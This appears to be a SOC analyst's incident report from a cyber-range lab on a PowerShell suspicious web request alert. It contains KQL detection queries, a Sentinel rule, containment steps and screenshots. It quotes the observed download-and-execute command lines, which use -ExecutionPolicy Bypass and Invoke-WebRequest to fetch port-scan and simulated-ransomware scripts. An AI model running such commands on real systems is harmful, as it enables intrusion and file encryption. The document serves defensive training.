

Incident Report: PowerShell Suspicious Web Request

SOC Analyst: Ahmad Barakat

Incident	Ahmad Barakat – PowerShell Suspicious Web Request
Affected Host	windows-target-
Affected User(s)	1
Scope	1 device, 1 alert generated
Time of Execution	4:22 PM
Classification	True Positive

1. Detection & Analysis

- A single alert fired for suspicious PowerShell web-request activity on one device tied to one user.
- Three scripts were downloaded via three separate commands, all using Invoke-WebRequest with -ExecutionPolicy Bypass, pulled from the same GitHub repo (joshmadakor1/lognpacific-public) and written to C:\programdata\:

```
powershell.exe -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri
```

```
https://raw.githubusercontent.com/joshmadakor1/lognpacific-public/refs/heads/main/cyber-range/entropy-gorilla/portscan.ps1  
-OutFile C:\programdata\portscan.ps1
```

```
powershell.exe -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri
```

```
https://raw.githubusercontent.com/joshmadakor1/lognpacific-public/refs/heads/main/cyber-range/entropy-gorilla/pwncrypt.ps1  
-OutFile C:\programdata\pwncrypt.ps1
```

```
powershell.exe -ExecutionPolicy Bypass -Command Invoke-WebRequest -Uri
```

```
https://raw.githubusercontent.com/joshmadakor1/lognpacific-public/refs/heads/main/cyber-range/entropy-gorilla/eicar.ps1  
-OutFile C:\programdata\eicar.ps1
```

User Interview

The user reported attempting to install a piece of free software. A black screen appeared briefly, then “nothing happened.” This is consistent with the scripts executing in a hidden or quickly-closed window, leaving the user unaware that execution had occurred.

Execution Confirmation

Microsoft Defender for Endpoint confirmed the scripts did not just download — they ran. Confirming query:

```
let TargetHostname = "windows-target-";  
let ScriptNames = dynamic(["eicar.ps1", "portscan.ps1", "pwncrypt.ps1"]);  
DeviceProcessEvents  
| where DeviceName == TargetHostname  
| where FileName == "powershell.exe"
```

```
| where ProcessCommandLine contains "-File" and ProcessCommandLine has_any (ScriptNames)
| order by TimeGenerated
| project TimeGenerated, AccountName, DeviceName, FileName, ProcessCommandLine
| summarize Count = count() by AccountName, DeviceName, FileName, ProcessCommandLine
```

Script Analysis

Script	Behavior (per Malware RE team)
portscan.ps1	Scans an internal IP range (10.0.0.155–10.0.0.200) for live hosts and probes common ports to identify accessible services, logging the results.
pwncrypt.ps1	Simulates ransomware: creates sensitive files, encrypts them, drops a ransom note on the user's desktop, and logs activity.
eicar.ps1	Creates an EICAR test file to safely trigger endpoint/AV detection without using real malware.

2. Containment, Eradication & Recovery

- Host isolated in Microsoft Defender for Endpoint.
- Anti-malware scan run; host returned clean.
- Host removed from isolation after the clean result.

3. Post-Incident Activity

- User assigned additional security awareness training; KnowBe4 training package upgraded.
- Policy implemented restricting PowerShell use for non-essential users.

Final Disposition: True Positive

The alert accurately detected genuinely malicious activity. PowerShell was used to bypass execution policy and download and run scripts that performed network reconnaissance (port scanning), ransomware-style file encryption with a ransom note, and an EICAR detection test on the endpoint. The activity was unauthorized and unknown to the user, and execution on the host was confirmed via MDE.

Containment and eradication actions were appropriate, and the post-incident controls (additional awareness training and PowerShell restrictions for non-essential users) directly reduce the likelihood of recurrence. Incident closed as a True Positive.

Supporting Evidence and Investigation Artifacts, including Sentinel alerts, KQL query results, Microsoft Defender for Endpoint containment actions referenced throughout this report.

1. KQL Invoke-WebRequest Detection

New Query 1* ... + Observability agent (New) Save Share

Run Time range: Last 24 hours Show: 1000 results

```
1 let TargetDevice = "windows-target-";
2 DeviceProcessEvents
3   where DeviceName == TargetDevice
4   where FileName == "powershell.exe"
5   where ProcessCommandLine contains "Invoke-WebRequest"
```

Results Chart

TimeGenerated [UTC]	AccountDomain	AccountName	AccountSid	ActionType
> 6/3/2026, 8:25:03.204 PM	nt authority	system	S-1-5-18	ProcessCreated
> 6/3/2026, 8:12:59.259 PM	nt authority	system	S-1-5-18	ProcessCreated
> 6/3/2026, 4:36:55.943 PM	nt authority	system	S-1-5-18	ProcessCreated
> 6/3/2026, 4:24:51.323 PM	nt authority	system	S-1-5-18	ProcessCreated
> 6/3/2026, 4:13:00.822 PM	nt authority	system	S-1-5-18	ProcessCreated
> 6/3/2026, 12:36:53.237 PM	nt authority	system	S-1-5-18	ProcessCreated

2. SIEM Rule

Analytics rule wizard - Create a new Scheduled rule

General Set rule logic Incident settings Automated response Review + create

Create an analytics rule that will run on your data to detect threats.

Analytics rule details

Name *
Ahmad Barakat - PowerShell Suspicious Web Request

Description
for endpoint under the DeviceProcessEvents table. These logs are then forwarded to the Log Analytics Workspace being used by Microsoft Sentinel, our SIEM. Within Sentinel, we will define an alert to trigger when PowerShell is used to download a remote file from the internet

Severity
Medium

MITRE ATT&CK
5 Selected

Search

- ☐ T0834 - Native API
- ☐ T0853 - Scripting
- ☐ T0858 - Change Operating Mode
- ☐ T0863 - User Execution
- ☐ T0871 - Execution through API
- ☐ T0874 - Hooking
- ☐ T0895 - Autorun Image
- ☐ T1047 - Windows Management Instrumentation
- ☐ T1053 - Scheduled Task/Job
- ☒ T1059 - Command and Scripting Interpreter
 - ☒ T1059.001 - PowerShell
 - ☐ T1059.002 - Appletscrip
 - ☐ T1059.003 - Windows Command Shell
 - ☐ T1059.004 - Unix Shell

3. Scheduled Alert Rule

Analytics rule wizard - Create a new Scheduled rule

General **Set rule logic** Incident settings Automated response Review + create

Define the logic for your new analytics rule.

Rule query

Any time details set here will be within the scope defined below in the Query scheduling fields.

```
let TargetDevice = "windows-target-";
DeviceProcessEvents
| where DeviceName == TargetDevice
| where FileName == "powershell.exe"
| where ProcessCommandLine contains "Invoke-WebRequest"
```

[View query results >](#)

Alert enhancement

Entity mapping

Map up to 10 entities recognized by Microsoft Sentinel from the appropriate fields available in your query results. This enables Microsoft Sentinel to recognize and classify the data in these fields for further analysis. For each entity, you can define up to 3 identifiers, which are attributes of the entity that help identify the entity as unique. [Learn more >](#)

Account			
Name	AccountName		+ Add identifier
Host			
HostName	DeviceName		+ Add identifier
Process			
CommandLine	ProcessCommandLine		+ Add identifier

+ Add new entity

> Custom details

> Alert details

Query scheduling

Run query every *
4 Hours

Lookup data from the last *
5 Hours

4. Incident Creation

The screenshot shows the Microsoft Sentinel Incidents interface. The left sidebar contains navigation options: General, Threat management, Incidents (selected), Workbooks, Hunting, Notebooks, Entity behavior, Threat intelligence, MITRE ATT&CK (Preview), SOC optimization, Content management, Configuration, Workspace manager (Preview), Data connectors, Analytics, Summary rules, Watchlist, Automation, and Settings.

The main area displays incident statistics: 1.4K Open incidents, 1.2K New incidents, and 166 Active incidents. Below this is a table of incidents with columns for Severity, Incident number, Title, Alerts, and Incident provider. Two incidents are listed, both with a severity of Medium and titled 'Ahmad Barakat - Po...'. The first incident has 1 alert, and the second has 1 alert.

The right pane shows details for the selected incident, 'Ahmad Barakat - PowerShell Suspicious Web Request' (Incident number 399738). It includes a description, a list of alert product names (Microsoft Sentinel), and a list of entities (4) including 'windows-targ...', 'powershell.ac...', 'powershell.ex...', and 'powershell.ex...'. The incident is categorized under 'Command and Control (1)', 'Execution (1)', and 'Exfiltration (1)'.

5. KQL check for executions

LAW-Cyber-Range | Logs

Log Analytics workspace

New Query 1*

Time range: Last 24 hours Show: 1000 results

```
9 let TargetHostname = "windows-target-";
10 let ScriptNames = dynamic(["eicar.ps1", "exfiltratedata.ps1", "portscan.ps1", "pwnccrypt.ps1"]); // Add name of scripts that downloaded
11 DeviceProcessEvents
12 | where DeviceName == TargetHostname
13 | where FileName == "powershell.exe"
14 | where ProcessCommandLine contains "-File" and ProcessCommandLine has_any (ScriptNames)
15 | order by TimeGenerated
16 | project TimeGenerated, AccountName, DeviceName, FileName, ProcessCommandLine
17 | summarize Count = count() by AccountName, DeviceName, FileName, ProcessCommandLine
```

Results

AccountName	DeviceName	FileName	ProcessCommandLine	Count
system	windows-target-	powershell.exe	powershell.exe -ExecutionPol...	6
AccountName	system			
DeviceName	windows-target-			
FileName	powershell.exe			
ProcessCommandLine	powershell.exe -ExecutionPolicy Bypass -File C:\programdata\portscan.ps1			
Count	6			
system	windows-target-	powershell.exe	powershell.exe -ExecutionPol...	6
AccountName	system			
DeviceName	windows-target-			
FileName	powershell.exe			
ProcessCommandLine	powershell.exe -ExecutionPolicy Bypass -File C:\programdata\pwnccrypt.ps1			
Count	6			
system	windows-target-	powershell.exe	powershell.exe -ExecutionPol...	6
AccountName	system			
DeviceName	windows-target-			
FileName	powershell.exe			
ProcessCommandLine	powershell.exe -ExecutionPolicy Bypass -File C:\programdata\eicar.ps1			
Count	6			

6. EDR Machine Isolation

Microsoft Defender

Device Inventory > windows-target-

windows-target-

High Criticality: None Active Internet facing

Overview Incidents and alerts Timeline Configuration management Security recommendations Inventories Discover

VM details

Category	Type
Computers and Mobile	Workstation

Subtype Workstation

Discovery sources

Domain Workgroup

OS Windows 10 64-bit (Release 21H2 Build 19044.7291)

SAM name

Health state Active

Data sensitivity None

IP addresses Private: 10.0.0.155 Public: 172.176.88.102 See IP addresses info

MAC address 60-45-BD-80-7D-A4

First seen Jan 5, 2026 5:27:42 PM

Last seen Jun 4, 2026 1:57:27 AM

Onboarding status Onboarded

Active alerts (Last 180 days)

Risk level: High

3484 active alerts, 3346 active incidents

Active alerts

View all incidents and alerts

Security assessments

Exposure level:

68 active security recommendations

Discovered vulnerabilities (199)

Critical (71) High (103)

View all recommendations

Logged on users (Last 30 days)

0 logged on users

There were no logged on users during the given time range

View in map Device value

- Set criticality
- Manage tags
- Report device inaccuracy
- Run Antivirus Scan
- Collect Investigation Package
- Restrict App Execution
- Initiate Automated Investigation
- Initiate Live F
- Isolate Device on
- Isolate Device
- Ask Defender Experts
- Action center
- Download force release from isolation script
- Exclude
- Go hunt
- Turn on troubleshooting mode
- Policy sync

7. Verdict and Ticket Closing

 **Ahmad Barakat - PowerShell Suspicious Web Request**
Incident number 399738
[Investigate in Microsoft Defender XDR](#) 

 34ebfb0d1bd4... 

 **Closed** 
Status

 **Medium** 
Severity

with a command-and-control (C2) server. Detecting this behavior is critical to identifying and disrupting an ongoing attack.

When processes are executed/run on the local VM, logs will be forwarded to Microsoft Defender for Endpoint under the DeviceProcessEvents table. These logs are then forwarded to the Log Analytics Workspace being used by Microsoft Sentinel, our SIEM. Within Sentinel, we will define an alert to trigger when PowerShell is used to download a remote file from the internet

[Show less ^](#)

Alert product names

- Microsoft Sentinel

Reason for closing
True Positive - Suspicious activity

Evidence

 **6**
Events

 **1**
Alerts

 **0**
Bookmarks

Last update time
06/04/26, 09:36 AM

Creation time
06/03/26, 03:53 PM

Entities (4)

-  windows-target-
-  powershell.exe -Ex...
-  powershell.exe -Ex...
-  powershell.exe -Ex...

[View full details >](#)

Tactics and techniques

-   **Command and Control (1)**
-   **Execution (1)**
-   **Exfiltration (1)**